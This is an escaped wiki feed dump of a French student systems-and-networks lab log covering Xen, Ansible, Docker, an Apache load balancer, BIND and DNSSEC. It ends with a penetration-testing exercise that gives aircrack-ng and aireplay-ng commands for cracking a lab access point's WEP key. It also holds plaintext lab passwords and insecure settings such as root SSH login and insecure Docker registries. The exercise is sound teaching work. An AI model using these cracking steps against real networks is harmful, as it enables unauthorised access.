 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55084</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55084"/>
				<updated>2020-12-20T15:02:36Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
